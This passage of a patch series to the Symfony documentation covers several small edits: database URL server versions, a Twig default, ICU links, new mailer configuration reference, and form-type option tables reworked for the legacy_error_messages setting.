 | Access a protected property                   | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a protected method                       | Yes                         |
+| Call a protected method                       | Yes [10]_                   |
 +-----------------------------------------------+-----------------------------+
 | Override a public property                    | Yes                         |
 +-----------------------------------------------+-----------------------------+
@@ -445,4 +445,8 @@ Turn static into non static                         No
 
 .. [9] Allowed for the ``void`` return type.
 
+.. [10] Parameter names are not part of the compatibility promise. Using
+        PHP 8's named arguments feature might break your code when upgrading to
+        newer Symfony versions.
+
 .. _`Semantic Versioning`: https://semver.org/

From 50f3ece07c22e16326616b0b420880d154bea37b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 18 Nov 2020 17:03:01 +0100
Subject: [PATCH 1495/7107] Add little tip about PHPdocs

---
 messenger/multiple_buses.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 5136553dac2..6191bc0556c 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -249,4 +249,9 @@ You can also restrict the list to a specific bus by providing its name as argume
             handled by App\MessageHandler\MultipleBusesMessageHandler
        ---------------------------------------------------------------------------------------
 
+.. tip::
+
+    Since Symfony 5.1, the command will also show the PHPDoc description of
+    the message and handler classes.
+
 .. _article about CQRS: https://martinfowler.com/bliki/CQRS.html

From b47ccb91e9e27ea02a5ca52fdd09f90fcb4adf8d Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Thu, 19 Nov 2020 01:59:09 +0100
Subject: [PATCH 1496/7107] Update testing.rst

Hello, I update mysql env variable with server version.
---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 479a26be864..365626ceacd 100644
--- a/testing.rst
+++ b/testing.rst
@@ -990,7 +990,7 @@ need in your ``.env.test`` file:
 .. code-block:: text
 
     # .env.test
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test"
+    DATABASE_URL=mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7
 
     # use SQLITE
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"

From 3b1ade011908e82d3e5d361d6aea5aa0328208b9 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Thu, 19 Nov 2020 02:03:13 +0100
Subject: [PATCH 1497/7107] Update doctrine.rst

Hello, I update mysql server version.
---
 reference/configuration/doctrine.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index fd44b56b2bc..cf49aaaa2b9 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -65,7 +65,7 @@ The following block shows all possible configuration keys:
                 charset:              UTF8
                 logging:              '%kernel.debug%'
                 platform_service:     App\DBAL\MyDatabasePlatformService
-                server_version:       '5.6'
+                server_version:       '5.7'
                 mapping_types:
                     enum: string
                 types:
@@ -99,7 +99,7 @@ The following block shows all possible configuration keys:
                     charset="UTF8"
                     logging="%kernel.debug%"
                     platform-service="App\DBAL\MyDatabasePlatformService"
-                    server-version="5.6">
+                    server-version="5.7">
 
                     <doctrine:option key="foo">bar</doctrine:option>
                     <doctrine:mapping-type name="enum">string</doctrine:mapping-type>
@@ -121,8 +121,8 @@ The following block shows all possible configuration keys:
 
     Always wrap the server version number with quotes to parse it as a string
     instead of a float number. Otherwise, the floating-point representation
-    issues can make your version be considered a different number (e.g. ``5.6``
-    will be rounded as ``5.5999999999999996447286321199499070644378662109375``).
+    issues can make your version be considered a different number (e.g. ``5.7``
+    will be rounded as ``5.6999999999999996447286321199499070644378662109375``).
 
     If you don't define this option and you haven't created your database
     yet, you may get ``PDOException`` errors because Doctrine will try to

From 5a95590b0c53f9075e0ca814a0ecc86f1f46ed33 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Thu, 19 Nov 2020 02:05:29 +0100
Subject: [PATCH 1498/7107] Update dbal.rst

Hello, I updated mysql env database_url.
---
 doctrine/dbal.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 3d451fb4af6..4b9f26d3f7b 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -35,7 +35,7 @@ Then configure the ``DATABASE_URL`` environment variable in ``.env``:
     # .env (or override DATABASE_URL in .env.local to avoid committing your changes)
 
     # customize this line!
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name"
+    DATABASE_URL=mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7
 
 Further things can be configured in ``config/packages/doctrine.yaml`` - see
 :ref:`reference-dbal-configuration`. Remove the ``orm`` key in that file

From c639ea407b86d5e8e63abf34b1cc66c8629ecad1 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Thu, 19 Nov 2020 02:12:47 +0100
Subject: [PATCH 1499/7107] Update doctrine.rst

Hello,

I just add env variable for mariadb.
---
 doctrine.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index fb491df8c2b..21b14c2ae4c 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -46,6 +46,9 @@ The database connection information is stored as an environment variable called
     # customize this line!
     DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
 
+    # to use mariadb:
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=mariadb-10.5.8"
+
     # to use sqlite:
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
     

From 74de492ada02ece7221a55390825e013e3dedf42 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <ogizanagi@users.noreply.github.com>
Date: Thu, 19 Nov 2020 09:23:27 +0100
Subject: [PATCH 1500/7107] Fix strict_variables default value since Symfony 5

The default was changed in https://github.com/symfony/symfony/blob/494ef421c554a78b38c6779c4b7deb9a20d89923/UPGRADE-5.0.md#twigbundle
---
 reference/configuration/twig.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index c7d77739b1c..5d5edd1d43c 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -363,7 +363,7 @@ Read more about :ref:`template directories and namespaces <templates-namespaces>
 strict_variables
 ~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``boolean`` **default**: ``%kernel.debug%``
 
 If set to ``true``, Symfony shows an exception whenever a Twig variable,
 attribute or method doesn't exist. If set to ``false`` these errors are ignored

From 6e2a758b75744cca019edeab55fd651800236fd0 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Thu, 19 Nov 2020 17:29:25 +0100
Subject: [PATCH 1501/7107] Replace old ICU Formatting Messages url

---
 translation.rst                | 2 +-
 translation/message_format.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index 8fdffe83baa..20025b8b5cd 100644
--- a/translation.rst
+++ b/translation.rst
@@ -607,7 +607,7 @@ Learn more
     translation/xliff
 
 .. _`i18n`: https://en.wikipedia.org/wiki/Internationalization_and_localization
-.. _`ICU MessageFormat`: http://userguide.icu-project.org/formatparse/messages
+.. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
 .. _`Translatable Extension`: http://atlantic18.github.io/DoctrineExtensions/doc/translatable.html
diff --git a/translation/message_format.rst b/translation/message_format.rst
index 4ec520682ef..218d479d795 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -474,7 +474,7 @@ The ``number`` formatter allows you to format numbers using Intl's :phpclass:`Nu
     echo $translator->trans('value_of_object', ['value' => 9988776.65]);
 
 .. _`online editor`: http://format-message.github.io/icu-message-format-for-translators/
-.. _`ICU MessageFormat`: http://userguide.icu-project.org/formatparse/messages
+.. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/
 .. _`switch statement`: https://www.php.net/control-structures.switch
 .. _`Language Plural Rules`: http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html
 .. _`constants defined by the IntlDateFormatter class`: https://www.php.net/manual/en/class.intldateformatter.php

From 074db0d1024b99d44918ceca65b5a68c547982d0 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Tue, 17 Nov 2020 22:16:50 +0100
Subject: [PATCH 1502/7107] Complete mailer integration

---
 mailer.rst                            |  49 +++++++++++
 reference/configuration/framework.rst | 116 +++++++++++++++++++++++++-
 2 files changed, 162 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 025a5c43813..ebf79865a72 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -29,11 +29,58 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
     # .env
     MAILER_DSN=smtp://user:pass@smtp.example.com:port
 
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                dsn: '%env(MAILER_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:mailer dsn="%env(MAILER_DSN)%"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+        return static function (ContainerConfigurator $containerConfigurator): void {
+            $containerConfigurator->extension('framework', [
+                'mailer' => [
+                    'dsn' => '%env(MAILER_DSN)%',
+                ]
+            ]);
+        };
+
 .. caution::
 
     If you are migrating from Swiftmailer (and the Swiftmailer bundle), be
     warned that the DSN format is different.
 
+Using built-in transports
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+============ ==================================== ===========
+DSN protocol Example                              Description
+============ ==================================== ===========
+smtp         smtp://user:pass@smtp.example.com:25 Mailer uses an SMTP server to send emails
+sendmail     sendmail://default                   Mailer uses the local sendmail binary to send emails
+============ ==================================== ===========
+
+
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -822,6 +869,8 @@ and it will select the appropriate certificate depending on the ``To`` option::
     $firstEncryptedEmail = $encrypter->encrypt($firstEmail);
     $secondEncryptedEmail = $encrypter->encrypt($secondEmail);
 
+.. _multiple-email-transports:
+
 Multiple Email Transports
 -------------------------
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cd76b908c64..255adc11fec 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -98,7 +98,7 @@ Configuration
     * `cafile`_
     * `capath`_
     * `ciphers`_
-    * `headers`_
+    * :ref:`headers <http-headers>`
     * `http_version`_
     * `local_cert`_
     * `local_pk`_
@@ -126,7 +126,7 @@ Configuration
     * `cafile`_
     * `capath`_
     * `ciphers`_
-    * `headers`_
+    * :ref:`headers <http-headers>`
     * `http_version`_
     * `local_cert`_
     * `local_pk`_
@@ -151,6 +151,17 @@ Configuration
 
     * :ref:`name <reference-lock-resources-name>`
 
+* `mailer`_
+
+  * :ref:`dsn <mailer-dsn>`
+  * `transports`_
+  * `envelope`_
+
+    * `sender`_
+    * `recipients`_
+
+  * :ref:`headers <mailer-headers>`
+
 * `php_errors`_
 
   * `log`_
@@ -159,7 +170,7 @@ Configuration
 * `profiler`_
 
   * `collect`_
-  * `dsn`_
+  * :ref:`dsn <profiler-dsn>`
   * :ref:`enabled <reference-profiler-enabled>`
   * `only_exceptions`_
   * `only_master_requests`_
@@ -867,6 +878,8 @@ ciphers
 A list of the names of the ciphers allowed for the SSL/TLS connections. They
 can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``).
 
+.. _http-headers:
+
 headers
 .......
 
@@ -1075,6 +1088,8 @@ only_master_requests
 When this is set to ``true``, the profiler will only be enabled on the master
 requests (and not on the subrequests).
 
+.. _profiler-dsn:
+
 dsn
 ...
 
@@ -2888,6 +2903,101 @@ Name of the lock you want to create.
             decorates: lock.invoice.store
             arguments: ['@lock.invoice.retry_till_save.store.inner', 100, 50]
 
+mailer
+~~~~~~
+
+.. _mailer-dsn:
+
+dsn
+...
+
+**type**: ``string``
+
+The DSN used by the mailer. When several DSN may be used, use `transports` (see below) instead.
+
+transports
+..........
+
+**type**: ``array``
+
+A :ref:`list of DSN <multiple-email-transports>` that can be used by the mailer. A transport name is the key and the dsn is the value.
+
+envelope
+........
+
+sender
+""""""
+
+**type**: ``string``
+
+Sender used by the ``Mailer``. Keep in mind that this setting override a sender set in the code.
+
+recipients
+""""""""""
+
+**type**: ``array``
+
+Recipients used by the ``Mailer``. Keep in mind that this setting override recipients set in the code.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                dsn: 'smtp://localhost:25'
+                envelope:
+                    recipients: ['admin@symfony.com', 'lead@symfony.com']
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:mailer dsn="smtp://localhost:25">
+                    <framework:envelope>
+                        <framework:recipients>admin@symfony.com</framework:recipients>
+                        <framework:recipients>lead@symfony.com</framework:recipients>
+                    </framework:envelope>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        return static function (ContainerConfigurator $containerConfigurator): void {
+            $containerConfigurator->extension('framework', [
+                'mailer' => [
+                    'dsn' => 'smtp://localhost:25',
+                    'envelope' => [
+                        'recipients' => [
+                            'admin@symfony.com',
+                            'lead@symfony.com',
+                        ]
+                    ]
+                ]
+            ]);
+        };
+
+.. _mailer-headers:
+
+headers
+.......
+
+**type**: ``array``
+
+Headers to add to emails. key (``name`` attribute in xml format)
+is the header name and value the header value.
+
 workflows
 ~~~~~~~~~
 

From 649a63397f9dc404294a037ef41deb48e92f3872 Mon Sep 17 00:00:00 2001
From: Timo Bakx <timobakx@gmail.com>
Date: Fri, 20 Nov 2020 00:34:27 +0100
Subject: [PATCH 1503/7107] [Form] Documented legacy_error_messages

---
 forms.rst                              |  43 ++++++++++
 reference/forms/types/birthday.rst     |  86 ++++++++++----------
 reference/forms/types/checkbox.rst     |  63 ++++++++-------
 reference/forms/types/choice.rst       |  99 ++++++++++++-----------
 reference/forms/types/collection.rst   |  73 +++++++++--------
 reference/forms/types/color.rst        |  63 +++++++++------
 reference/forms/types/country.rst      |  85 +++++++++++---------
 reference/forms/types/currency.rst     |  81 ++++++++++---------
 reference/forms/types/date.rst         |  88 ++++++++++----------
 reference/forms/types/dateinterval.rst |  94 ++++++++++++----------
 reference/forms/types/datetime.rst     | 106 +++++++++++++------------
 reference/forms/types/email.rst        |  59 ++++++++------
 reference/forms/types/file.rst         |  64 ++++++++-------
 reference/forms/types/form.rst         |  94 +++++++++++-----------
 reference/forms/types/hidden.rst       |  45 ++++++-----
 reference/forms/types/integer.rst      |  69 ++++++++--------
 reference/forms/types/language.rst     |  87 ++++++++++----------
 reference/forms/types/locale.rst       |  83 ++++++++++---------
 reference/forms/types/money.rst        |  77 +++++++++---------
 reference/forms/types/number.rst       |  75 ++++++++---------
 reference/forms/types/password.rst     |  60 +++++++-------
 reference/forms/types/percent.rst      |  75 ++++++++---------
 reference/forms/types/radio.rst        |  69 +++++++++-------
 reference/forms/types/range.rst        |  57 +++++++------
 reference/forms/types/repeated.rst     |  63 ++++++++-------
 reference/forms/types/search.rst       |  57 +++++++------
 reference/forms/types/tel.rst          |  59 ++++++++------
 reference/forms/types/time.rst         |  92 +++++++++++----------
 reference/forms/types/timezone.rst     |  85 +++++++++++---------
 reference/forms/types/url.rst          |  63 +++++++++------
 reference/forms/types/week.rst         |  74 +++++++++--------
 31 files changed, 1269 insertions(+), 1019 deletions(-)

diff --git a/forms.rst b/forms.rst
index ec5a04fcfc1..6e2c9ec5120 100644
--- a/forms.rst
+++ b/forms.rst
@@ -553,6 +553,49 @@ To see the second approach - adding constraints to the form - and to
 learn more about the validation constraints, please refer to the
 :doc:`Symfony validation documentation </validation>`.
 
+.. versionadded:: 5.2
+
+    Validation messages for forms have been rewritten to be more user-friendly.
+    These newer messages can be enabled by setting the `legacy_error_messages`
+    option to "false". Details about these messages can be found in the corresponding
+    form type documentation.
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/framework.yaml
+            framework:
+                form:
+                    legacy_error_messages: false
+
+        .. code-block:: xml
+
+            <!-- config/packages/framework.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <framework:config>
+                    <framework:form legacy-error-messages="false"/>
+                </framework:config>
+            </container>
+
+        .. code-block:: php
+
+            // config/packages/framework.php
+            $container->loadFromExtension('framework', [
+                'form' => [
+                    'legacy-error-messages' => false,
+                ],
+            ]);
+
+
 Other Common Form Features
 --------------------------
 
diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 6299dbf1e09..127528bc774 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -14,51 +14,57 @@ This type is essentially the same as the :doc:`DateType </reference/forms/types/
 type, but with a more appropriate default for the `years`_ option. The `years`_
 option defaults to 120 years ago to the current year.
 
-+----------------------+-------------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, ``string``, ``timestamp``, or ``array``                  |
-|                      | (see the :ref:`input option <form-reference-date-input>`)                     |
-+----------------------+-------------------------------------------------------------------------------+
-| Rendered as          | can be three select boxes or 1 or 3 text boxes, based on the `widget`_ option |
-+----------------------+-------------------------------------------------------------------------------+
-| Overridden options   | - `years`_                                                                    |
-+----------------------+-------------------------------------------------------------------------------+
-| Inherited options    | from the :doc:`DateType </reference/forms/types/date>`:                       |
-|                      |                                                                               |
-|                      | - `choice_translation_domain`_                                                |
-|                      | - `days`_                                                                     |
-|                      | - `placeholder`_                                                              |
-|                      | - `format`_                                                                   |
-|                      | - `input`_                                                                    |
-|                      | - `input_format`_                                                             |
-|                      | - `model_timezone`_                                                           |
-|                      | - `months`_                                                                   |
-|                      | - `view_timezone`_                                                            |
-|                      | - `widget`_                                                                   |
-|                      |                                                                               |
-|                      | from the :doc:`FormType </reference/forms/types/form>`:                       |
-|                      |                                                                               |
-|                      | - `attr`_                                                                     |
-|                      | - `data`_                                                                     |
-|                      | - `disabled`_                                                                 |
-|                      | - `help`_                                                                     |
-|                      | - `help_attr`_                                                                |
-|                      | - `help_html`_                                                                |
-|                      | - `inherit_data`_                                                             |
-|                      | - `invalid_message`_                                                          |
-|                      | - `invalid_message_parameters`_                                               |
-|                      | - `mapped`_                                                                   |
-|                      | - `row_attr`_                                                                 |
-+----------------------+-------------------------------------------------------------------------------+
-| Parent type          | :doc:`DateType </reference/forms/types/date>`                                 |
-+----------------------+-------------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType`        |
-+----------------------+-------------------------------------------------------------------------------+
++---------------------------+-------------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, ``string``, ``timestamp``, or ``array``                  |
+|                           | (see the :ref:`input option <form-reference-date-input>`)                     |
++---------------------------+-------------------------------------------------------------------------------+
+| Rendered as               | can be three select boxes or 1 or 3 text boxes, based on the `widget`_ option |
++---------------------------+-------------------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                          |
+|                           | - `years`_                                                                    |
++---------------------------+-------------------------------------------------------------------------------+
+| Inherited options         | from the :doc:`DateType </reference/forms/types/date>`:                       |
+|                           |                                                                               |
+|                           | - `choice_translation_domain`_                                                |
+|                           | - `days`_                                                                     |
+|                           | - `placeholder`_                                                              |
+|                           | - `format`_                                                                   |
+|                           | - `input`_                                                                    |
+|                           | - `input_format`_                                                             |
+|                           | - `model_timezone`_                                                           |
+|                           | - `months`_                                                                   |
+|                           | - `view_timezone`_                                                            |
+|                           | - `widget`_                                                                   |
+|                           |                                                                               |
+|                           | from the :doc:`FormType </reference/forms/types/form>`:                       |
+|                           |                                                                               |
+|                           | - `attr`_                                                                     |
+|                           | - `data`_                                                                     |
+|                           | - `disabled`_                                                                 |
+|                           | - `help`_                                                                     |
+|                           | - `help_attr`_                                                                |
+|                           | - `help_html`_                                                                |
+|                           | - `inherit_data`_                                                             |
+|                           | - `invalid_message_parameters`_                                               |
+|                           | - `mapped`_                                                                   |
+|                           | - `row_attr`_                                                                 |
++---------------------------+-------------------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid birthdate.                                               |
++---------------------------+-------------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                           |
++---------------------------+-------------------------------------------------------------------------------+
+| Parent type               | :doc:`DateType </reference/forms/types/date>`                                 |
++---------------------------+-------------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType`        |
++---------------------------+-------------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
 Overridden Options
 ------------------
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 ``years``
 ~~~~~~~~~
 
@@ -128,8 +134,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index aef03ef1e44..1463c542a1e 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -11,34 +11,39 @@ you can specify an array of values that, if submitted, will be evaluated
 to "false" as well (this differs from what HTTP defines, but can be handy
 if you want to handle submitted values like "0" or "false").
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | ``input`` ``checkbox`` field                                           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `false_values`_                                                      |
-|             | - `value`_                                                             |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                          |
-| options     | - `empty_data`_                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                          |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | ``input`` ``checkbox`` field                                           |
++---------------------------+------------------------------------------------------------------------+
+| Options                   | - `false_values`_                                                      |
+|                           | - `value`_                                                             |
++---------------------------+------------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                          |
+|                           | - `empty_data`_                                                        |
+|                           | - `invalid_message`_                                                   |
++---------------------------+------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                              |
+|                           | - `data`_                                                              |
+|                           | - `disabled`_                                                          |
+|                           | - `error_bubbling`_                                                    |
+|                           | - `error_mapping`_                                                     |
+|                           | - `help`_                                                              |
+|                           | - `help_attr`_                                                         |
+|                           | - `help_html`_                                                         |
+|                           | - `label`_                                                             |
+|                           | - `label_attr`_                                                        |
+|                           | - `label_format`_                                                      |
+|                           | - `mapped`_                                                            |
+|                           | - `required`_                                                          |
+|                           | - `row_attr`_                                                          |
++---------------------------+------------------------------------------------------------------------+
+| Default `invalid_message` | The checkbox has an invalid value.                                     |
++---------------------------+------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -74,6 +79,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/checkbox_empty_data.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 04efd2fe02c..d0c81a829bd 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -9,52 +9,57 @@ It can be rendered as a ``select`` tag, radio buttons, or checkboxes.
 
 To use this field, you must specify *either* ``choices`` or ``choice_loader`` option.
 
-+-------------+------------------------------------------------------------------------------+
-| Rendered as | can be various tags (see below)                                              |
-+-------------+------------------------------------------------------------------------------+
-| Options     | - `choices`_                                                                 |
-|             | - `choice_attr`_                                                             |
-|             | - `choice_filter`_                                                           |
-|             | - `choice_label`_                                                            |
-|             | - `choice_loader`_                                                           |
-|             | - `choice_name`_                                                             |
-|             | - `choice_translation_domain`_                                               |
-|             | - `choice_value`_                                                            |
-|             | - `expanded`_                                                                |
-|             | - `group_by`_                                                                |
-|             | - `multiple`_                                                                |
-|             | - `placeholder`_                                                             |
-|             | - `preferred_choices`_                                                       |
-+-------------+------------------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                                |
-| options     | - `empty_data`_                                                              |
-|             | - `error_bubbling`_                                                          |
-|             | - `trim`_                                                                    |
-+-------------+------------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                                    |
-| options     | - `by_reference`_                                                            |
-|             | - `data`_                                                                    |
-|             | - `disabled`_                                                                |
-|             | - `error_mapping`_                                                           |
-|             | - `help`_                                                                    |
-|             | - `help_attr`_                                                               |
-|             | - `help_html`_                                                               |
-|             | - `inherit_data`_                                                            |
-|             | - `label`_                                                                   |
-|             | - `label_attr`_                                                              |
-|             | - `label_format`_                                                            |
-|             | - `mapped`_                                                                  |
-|             | - `required`_                                                                |
-|             | - `row_attr`_                                                                |
-|             | - `translation_domain`_                                                      |
-|             | - `label_translation_parameters`_                                            |
-|             | - `attr_translation_parameters`_                                             |
-|             | - `help_translation_parameters`_                                             |
-+-------------+------------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                                |
-+-------------+------------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType`         |
-+-------------+------------------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see below)                                      |
++---------------------------+----------------------------------------------------------------------+
+| Options                   | - `choices`_                                                         |
+|                           | - `choice_attr`_                                                     |
+|                           | - `choice_filter`_                                                   |
+|                           | - `choice_label`_                                                    |
+|                           | - `choice_loader`_                                                   |
+|                           | - `choice_name`_                                                     |
+|                           | - `choice_translation_domain`_                                       |
+|                           | - `choice_value`_                                                    |
+|                           | - `expanded`_                                                        |
+|                           | - `group_by`_                                                        |
+|                           | - `multiple`_                                                        |
+|                           | - `placeholder`_                                                     |
+|                           | - `preferred_choices`_                                               |
++---------------------------+----------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                        |
+|                           | - `empty_data`_                                                      |
+|                           | - `error_bubbling`_                                                  |
+|                           | - `trim`_                                                            |
+|                           | - `invalid_message`_                                                 |
++---------------------------+----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                            |
+|                           | - `by_reference`_                                                    |
+|                           | - `data`_                                                            |
+|                           | - `disabled`_                                                        |
+|                           | - `error_mapping`_                                                   |
+|                           | - `help`_                                                            |
